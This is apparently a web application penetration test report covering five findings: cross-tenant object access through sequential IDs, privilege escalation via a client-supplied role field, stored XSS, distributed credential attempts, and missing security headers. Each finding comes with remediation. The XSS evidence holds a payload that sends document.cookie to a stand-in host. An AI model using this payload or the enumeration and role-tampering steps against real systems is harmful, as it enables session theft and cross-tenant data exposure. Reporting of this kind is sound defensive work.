Web Application & API Penetration Test Report

Executive summary

A record-retrieval endpoint accepts a numeric, sequential object identifier and returns the record without checking that it belongs to the caller's organisation. Because the identifiers are predictable, any authenticated user can iterate them and read records belonging to other tenants. This is a complete breakdown of tenant isolation on the affected path. It needs only a valid low-privilege account and no special conditions, which is why the business rating sits above the read-only CVSS base.

Technical description

The endpoint identifies the target record solely by the {id} path parameter. Authorisation is enforced at the authentication layer, where a valid bearer token is required, but not at the object layer: the server does not verify that the record identified by {id} is owned by the tenant associated with the token. This is the archetypal Broken Object Level Authorization pattern.

Identifiers are integers assigned sequentially, so an attacker does not need to discover valid IDs. They can increment or decrement their own record IDs and walk the space. The response body for a record belonging to another tenant is returned in full, with 200 OK, identical in shape to a legitimately owned record.

Evidence

# Own record (tenant A), authorised
GET /api/v1/records/4021      Authorization: Bearer <tenant-A token>
  -> 200 OK {"id":4021,"org_id":"A","title":"Q3 plan", ...}

# Neighbouring id, belongs to tenant B, still returned to tenant A
GET /api/v1/records/4022      Authorization: Bearer <tenant-A token>
  -> 200 OK {"id":4022,"org_id":"B","title":"Board pack", ...}
                                  ^^^^^^^^^^ different org_id, no 403

# Enumeration confirms the pattern across the range
for id in 4000..4100: GET /api/v1/records/{id}
  -> 200 OK for records owned by 7 distinct org_id values

Reproduction

1. Authenticate as a standard member of tenant A and retrieve one of your own records to learn a valid {id}.
2. Send the same request with an adjacent identifier, for example {id} - 1.
3. Observe a 200 OK whose org_id differs from your own, confirming a cross-tenant read.
4. Iterate a small range to confirm that records from multiple organisations are reachable.

Security impact

Direct impact: disclosure of arbitrary records belonging to other tenants. Any authenticated user can read data they have no relationship to.

Preconditions: a single valid low-privilege account. No relationship to the target tenant is required, and the sequential identifiers remove any need to guess.

Business impact: the flaw is not scoped to one victim. It reaches every tenant whose records share the endpoint, making it a platform-wide confidentiality breach. For a multi-tenant enterprise product this is the class of issue that triggers breach-notification obligations under GDPR Article 33 and equivalent regimes, and the class of issue that ends enterprise renewals.

Attack scenario

An attacker signs up for, or compromises, any low-privilege account. They script a walk over the identifier space and harvest records across all tenants (commercial terms, personal data and internal documents) within minutes, entirely through the documented API and without tripping any authorisation control or rate limit.

Root cause

Authorisation is enforced at authentication time (is this token valid?) but not at object-access time (does this token's tenant own this object?). The identifier is user-controlled and trusted as though possession of an ID implied entitlement to the object it names.

Remediation

1. Enforce a server-side tenant-ownership check on every object access: resolve the object, compare its owning tenant to the caller's, and return 404, not 403 which would confirm existence, when they differ.
2. Prefer scoping queries by tenant at the data layer (for example WHERE org_id = :caller_org) so an unowned object is never loaded in the first place.
3. Replace sequential integer identifiers on tenant-scoped resources with non-guessable UUIDs, so even a residual gap cannot be swept by enumeration.
4. Add authorisation test cases to the API regression suite asserting that a tenant-A token receives 404 for a tenant-B object on every object-bearing route.

Defence in depth

Audit every route that accepts an object identifier for the same pattern, not only the one demonstrated. BOLA is typically systemic rather than isolated. Add anomaly detection for a single principal requesting many distinct object IDs in a short window, and consider a centralised authorisation layer so per-object checks are not left to each handler to remember.

Verification

After remediation, confirm that a tenant-A token receives 404 for a tenant-B identifier on this and sibling endpoints, that the response is indistinguishable for a non-existent versus an unowned identifier, and that the new regression tests fail if the ownership check is removed. Exceed retests this path and issues a signed attestation at no additional cost.

Executive summary

The role-update endpoint determines the caller's authority from a role value supplied in the request body rather than from the authenticated session. A member-level account can therefore invoke an administrator-only capability and grant itself elevated privilege within its own tenant.

Technical description

The web client sends an actor_role field alongside the role change it wants to apply. The server uses that field to decide whether the operation is permitted, instead of resolving the acting principal's role server-side from the bearer token. Because the field originates on the client, it is attacker-controlled.

Evidence

# Member-level token; actor_role tampered from "member" to "admin"
POST /api/v1/members/role     Authorization: Bearer <member token>
{
  "member_id": "usr_8841",
  "new_role":  "admin",
  "actor_role": "admin"          <-- client-supplied, trusted by server
}
  -> 200 OK {"member_id":"usr_8841","role":"admin"}

# Confirmation: the member now reaches an admin-only route
GET /api/v1/org/audit-log     Authorization: Bearer <same member token>
  -> 200 OK  (previously 403)

Reproduction

1. Authenticate as a member-level account and open the member management view.
2. Intercept the role-update request and change actor_role from member to admin.
3. Observe a 200 OK and the applied role change.
4. Call a previously forbidden administrator route and observe that it now succeeds.

Security impact and attack scenario

Any member-level account becomes an administrator of its tenant: able to read the audit log, change member roles, alter billing configuration and remove other administrators. Chained with EX-001, an attacker first reads data across tenants and then operates with administrative privilege, a materially worse outcome than either finding alone, and the reason both are prioritised together.

Root cause

The authorisation decision trusts input that the client controls. The acting principal's privilege is a property of the session, not of the request body, and must be resolved server-side on every privileged operation.

Remediation

1. Resolve the acting principal's role server-side from the authenticated session and ignore any role context supplied in the request. Reject requests that carry it rather than silently discarding it.
2. Enforce function-level authorisation in middleware so privileged routes cannot be reached without the check, rather than relying on each handler.
3. Apply a role-hierarchy rule preventing any principal from granting a privilege it does not itself hold.
4. Emit an audit event for every role change, recording the server-resolved actor rather than the claimed one.

Verification

Confirm that a member token receives 403 regardless of any role fields in the body, that the audit log records the server-resolved actor, and that a regression test fails if the middleware check is bypassed.

Executive summary

Rich content saved into a shared workspace is rendered to other authorised users without adequate sanitisation. Script stored by one user executes in a colleague's authenticated session, inside the application origin.

Technical description

The editor permits a subset of HTML for formatting. Sanitisation is applied on the client before saving but is not repeated on the server or at render time, so a request crafted outside the browser stores markup the editor itself would have stripped. Event-handler attributes survive storage and are rendered into the DOM of every user who opens the workspace.

Evidence

# Stored directly via the API, bypassing the client-side sanitiser
PUT /api/v1/workspaces/ws_304/blocks/b_77
{ "html": "<img src=x onerror=\"fetch('//collector.example/'+document.cookie)\">" }
  -> 200 OK

# Rendered verbatim for a second user in the same workspace
GET /workspaces/ws_304   (as a different authorised member)
  -> payload executes in the victim's authenticated session

Security impact and attack scenario

A low-privileged user, or anyone who compromises one account, stores a payload in a shared workspace and waits. Every colleague who opens it executes attacker-controlled script in the application origin, allowing session theft, silent action on the victim's behalf, or exfiltration of any data the victim can see. Chained with EX-002, the attacker can target an administrator specifically and inherit tenant administration.

Root cause

Sanitisation is enforced on the client, where an attacker controls the code, rather than on the server, where the application controls it. The absence of a restrictive Content-Security-Policy (see EX-005) removes the control that would otherwise contain the impact.

Remediation

1. Sanitise on the server at write time using a strict allowlist of elements and attributes, and reject rather than silently strip disallowed markup.
2. Apply contextual output encoding at render time; never interpolate stored HTML into the DOM via innerHTML.
3. Deploy a restrictive Content-Security-Policy without unsafe-inline, using nonces or hashes for legitimate scripts.
4. Re-scan existing stored content for payloads saved before the fix. Remediation of the code path does not clean historical data.

Verification

Confirm that markup stored directly through the API is neutralised at render, that CSP blocks inline execution, and that the historical content sweep has completed.

Executive summary

The authentication endpoint applies a per-IP request threshold but no per-account control. An attacker distributing attempts across source addresses can test a large credential set against a known username without triggering a lockout.

Evidence and reproduction

# Single source address, throttled as expected
120 attempts from one IP  -> 429 after 20 attempts

# Same volume distributed across 40 source addresses
120 attempts, 3 per source -> 200/401 responses, no account lockout observed
                              (WAF distributed-attempt policy engages at a higher threshold)

Remediation

1. Add a per-account attempt counter independent of source address, with exponential backoff and a notification to the account owner.
2. Introduce a proof-of-work or CAPTCHA challenge after a low threshold of failures against a single account.
3. Extend enforced multi-factor authentication beyond administrative accounts to all users.
4. Alert the SOC on distributed authentication failures targeting a single account, a signal currently not generated.

Executive summary

Several defence-in-depth response headers are absent or permissive. No finding depends on this alone, but the gaps remove controls that would have limited the impact of EX-003.

Remediation

Apply the recommended baseline at the edge so coverage does not depend on individual services. Roll Content-Security-Policy out in report-only mode first, review the violation reports, then enforce. Raise max-age on HSTS only once subdomain coverage is confirmed, to avoid locking out a service that is not yet TLS-only.